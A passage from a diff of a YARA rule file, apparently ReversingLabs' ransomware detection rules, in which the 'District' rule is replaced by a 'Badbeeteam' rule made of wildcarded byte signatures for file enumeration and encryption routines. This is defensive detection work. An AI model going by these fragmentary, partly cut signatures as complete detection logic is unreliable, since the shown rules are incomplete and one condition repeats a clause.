+            ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 45 ?? C7 45 ??
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44
+            24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 EC ?? 85 C0 74 ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45
+            ?? C9 C2 ?? ?? 8B 45 ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 83 EC ?? 85 C0 89 85 ?? ?? ?? ?? 74 ?? 90 8D B4 26 ?? ?? ?? ?? 8B 45 ?? C7
+            44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 55 ??
+            89 54 24 ?? 8B 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7
+            45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7
+            45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ??
+            85 C0 0F 94 C0 0F B6 C0 89 45 ?? E9 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B
+        }
+		$enum_resources_p2 = {
+            85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 45 ?? EB ?? 8B 45 ?? 8B 40 ?? 89 85
+            ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 83 45 ?? ?? 8B
+            85 ?? ?? ?? ?? 39 45 ?? 0F 86 ?? ?? ?? ?? 8B 45 ?? F6 40 ?? ?? 74 ?? 8D 45 ?? 8B 4D
+            ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ??
+            89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 83 EC ?? 39 D0 0F 84
+            ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 8D 45 ?? 8B
+            4D ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ??
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 EC ?? 8B 40 ?? 89 C2 89 85 ?? ?? ?? ?? 8D 45
+            ?? 85 D2 89 45 ?? B8 ?? ?? ?? ?? 74 ?? 89 14 24 E8 ?? ?? ?? ?? 03 85 ?? ?? ?? ?? 89
+            44 24 ?? 8B 85 ?? ?? ?? ?? 8D 4D ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
+            45 ?? 83 EC ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D
+            55 ?? 39 D0 0F 84 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9
+        }
+		$encrypt_files_p1 = {
+            55 89 E5 81 EC ?? ?? ?? ?? 8D 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 A5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ??
+            C6 45 ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6
+            45 ?? ?? C7 45 ?? ?? ?? ?? ?? 03 48 ?? 89 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 01 C7 04 24 ?? ?? ?? ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 EC ?? C7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 4D ?? 83 EC ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 8B 51 ?? 8D
+            8D ?? ?? ?? ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? B8 ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 83 EC ?? 83 F8 ?? 0F 86 ?? ?? ?? ?? 8D 8D
+            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 8D 8D ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 03 48 ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 83 EC ?? 39 D0
+            74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
+            ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B
+        }
+		$encrypt_files_p2 = {
+            40 ?? 89 44 24 ?? 8B 45 ?? 8B 00 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ??
+            ?? A1 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 89 94 05 ?? ?? ?? ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C9 C3 03 48 ?? 8B 41 ?? 83 C8 ?? 89 04 24 C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? 03 48 ?? 8B 41 ?? 83 C8 ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
+            83 EC ?? E9 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 83 C5 ?? 83 BD ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 77 ?? 8B 85
+            ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? 0F 0B 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 74
+            ?? 89 04 24 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D
+            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 15 ?? ??
+            ?? ?? 8B 40 ?? 89 94 05 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85
+        }
+		$encrypt_files_p3 = {
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ??
+            ?? ?? 8B 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 89 94 05 ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89
+            04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 55 89 E5 81
+            EC ?? ?? ?? ?? 8D 45 ?? 89 65 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 45 ?? 8B 4D ?? 89 45 ?? 8B
+            45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ??
+            8B 45 ?? 8D 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 39
+        }
+		$encrypt_files_p4 = {
+            D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 55 ?? 85 D2 75 ?? C6 45 ?? ?? 8D 45 ?? 89 04 24
+            E8 ?? ?? ?? ?? 0F B6 45 ?? C9 C3 8D 45 ?? 8B 4D ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D
+            ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 83
+            EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7
+            04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8D 55 ?? 83
+            EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 39 C8 74 ?? 89 04 24 E8
+            ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 8B 4D ?? 89 45 ?? 8B 45 ?? 8B
+            51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ??
+            8D 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 39 D0 74 ??
+            89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 8B 4D ?? 89 45
+        }
+		$encrypt_files_p5 = {
+            8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45
+            ?? 8B 45 ?? 8D 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ??
+            39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 8B 4D
+            ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 89 45 ?? 8B 45 ?? 8D 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45
+            ?? 8D 4D ?? 39 C8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D
+            45 ?? 8B 4D ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ??
+            C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24
+            C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8D 4D ?? 83 EC ?? 39 C8 74 ?? 89 04 24 E8 ?? ??
+            ?? ?? 8B 45 ?? 8D 4D ?? 39 C8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ??
+            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
+        }
+		$encrypt_files_p6 = {
+            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 8B 00
+            89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 83 F8 ?? 89 85 ?? ?? ?? ?? 0F
+            84 ?? ?? ?? ?? 8D 4D ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 EC ?? 3D ??
+            ?? ?? ?? 77 ?? 83 E0 ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ??
+            ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 EC ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45
+            ?? 89 04 24 E8 ?? ?? ?? ?? 8D 55 ?? C7 44 24 ?? ?? ?? ?? ?? 89 C1 89 54 24 ?? 8B 45
+            ?? 89 44 24 ?? 89 8D ?? ?? ?? ?? 89 4C 24 ?? 8B 95 ?? ?? ?? ?? 89 14 24 C7 45 ?? ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 EC ?? 3B 55 ?? 89 95 ?? ?? ?? ?? 0F 85 ?? ?? ??
+            ?? 8B 45 ?? 8B 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C1 E8 ?? 89 8D ?? ?? ?? ?? 85 C0
+            89 85 ?? ?? ?? ?? 74 ?? 8B 45 ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? 89 85 ??
+            ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 45 ?? ?? 83 85 ?? ?? ?? ??
+            ?? 8B 55 ?? 39 95 ?? ?? ?? ?? 75 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
+        }
+		$encrypt_files_p7 = {
+            C7 44 24 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8D 4D ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 8B 8D ?? ?? ?? ?? 89 4C 24
+            ?? 8B 95 ?? ?? ?? ?? 89 54 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 8D ??
+            ?? ?? ?? 83 EC ?? 3B 4D ?? 74 ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 51 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 95 ?? ??
+            ?? ?? 89 14 24 E8 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 89 0C 24 E8 ?? ?? ?? ?? C6 45 ??
+            ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 52
+            8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24
+            ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 8B 00 89 04 24 C7
+            45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 8D 4D ?? 8B 45 ?? 39 C8 74 ?? 89 04 24 E8 ??
+            ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 89 45 ?? E9
         }
 
 	condition:
-		uint16(0)==0x5A4D and (( all of ($enum_and_encrypt_files_*)))
+		uint16(0)==0x5A4D and ( all of ($enum_resources_p*)) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_District : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Badbeeteam : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects District ransomware."
+		description = "Yara rule that detects Badbeeteam ransomware."
 		author = "ReversingLabs"
-		id = "fc6abbc7-66f9-56e6-8106-5f360f25b092"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "39490b21-34b9-51cb-a3ed-672b3186a233"
+		date = "2020-11-13"
+		modified = "2020-11-13"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.District.yara#L1-L194"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "9ce395636fd7719f503726df82998e1ac72e9e80fd7a4534bd2251ac9283af38"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Badbeeteam.yara#L1-L137"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "9b5367655c7c70958332d31524833d96d03027aab693393b19f478a80482abd0"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -41690,177 +41753,127 @@ rule REVERSINGLABS_Win32_Ransomware_District : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "District"
+		tc_detection_name = "Badbeeteam"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files_p1 = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44
-            24 ?? 8B F1 8D 4D ?? 50 E8 ?? ?? ?? ?? 40 C7 44 24 ?? ?? ?? ?? ?? 6A ?? 33 C9 C7 44
-            24 ?? ?? ?? ?? ?? 50 8D 45 ?? 66 89 4C 24 ?? 50 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 EC ??
-            C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 40 C7 84 24 ?? ?? ??
-            ?? ?? ?? ?? ?? 33 C9 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 51 8D 45 ?? 66 89 8C 24 ??
-            ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 8D
-            44 24 ?? 8D 4C 24 ?? 50 E8 ?? ?? ?? ?? 40 C7 44 24 ?? ?? ?? ?? ?? 6A ?? 33 C9 C7 44
-            24 ?? ?? ?? ?? ?? 50 8D 44 24 ?? 66 89 4C 24 ?? 50 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 EC
-            ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 8D 4C 24 ?? 50 E8 ?? ?? ?? ?? 33 C9 C7 44 24
-            ?? ?? ?? ?? ?? 50 51 8D 44 24 ?? 66 89 4C 24 ?? 50 8D 4C 24 ?? C7 44 24 ?? ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 6A ?? 50 66 89 44 24 ?? 8D 4C 24 ??
-            8D 45 ?? C7 44 24 ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 56 8D 4C 24 ?? E8 ??
-            ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? 0F 43 45 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68
-            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 6A ?? 57 FF 15 ??
-            ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 66 0F 6E C0 F3 0F E6 C0 C1 E8 ?? F2 0F 58 04 C5
-            ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 56 E8 ?? ?? ?? ?? 56 8B D8
-        }
-		$encrypt_files_p2 = {
-            E8 ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 0F 1F 40 ?? 0F 1F 84 00
-            ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 6A ?? A3 ?? ?? ?? ?? 8D 44 24 ?? 50 56
-            53 57 89 0D ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ??
-            FF 15 ?? ?? ?? ?? 56 FF 74 24 ?? 8B D3 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? F7 D8 6A
-            ?? 6A ?? 50 57 FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 56 FF 74 24 ?? 57 FF 15 ?? ??
-            ?? ?? 83 6C 24 ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 57
-            FF 15 ?? ?? ?? ?? 83 7C 24 ?? ?? 8D 4C 24 ?? 8D 45 ?? 0F 43 4C 24 ?? 83 7D ?? ?? 51
-            0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 83 F8 ?? 72 ?? 40 8D 4C 24 ?? 50 FF 74
-            24 ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? 8B 44 24 ?? C7 44
-            24 ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 4C 24 ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 33 C0
-            C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? 8B 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 83 F8 ??
-            72 ?? 40 8D 4C 24 ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 66
-            89 44 24 ?? 8B 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 4C 24
-            ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 44 24
-            ?? 8B 44 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 4C 24 ?? 50 FF
-            74 24 ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? 89 44 24 ?? 8B
-            45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 77 ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6
-            C1 ?? 75 ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 ?? 8B C8 51 E8 ??
-            ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C2
-        }
-		$find_files = {
-            53 55 56 57 6A ?? 8B F1 E8 ?? ?? ?? ?? 83 C4 ?? 8D 9E ?? ?? ?? ?? 8B E8 53 68 ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 53 50 89 45 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D BE ?? ?? ??
-            ?? 0F 1F 80 ?? ?? ?? ?? F6 03 ?? 57 74 ?? 8B CE E8 ?? ?? ?? ?? 84 C0 75 ?? 57 E8 ??
-            ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 50 8B CE E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 84 C0 74
-            ?? 8B CE E8 ?? ?? ?? ?? 53 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 80 7C 24 ?? ?? 75
-            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 55 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5D
-            5B C2
-        }
-		$enum_resources_1_p1 = {
-            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 56 57 33 C0 C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24
-            ?? 8B DA 8D 44 24 ?? 89 5C 24 ?? 50 51 6A ?? 6A ?? 6A ?? C7 44 24 ?? ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 85 C0 74 ?? 3D ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ??
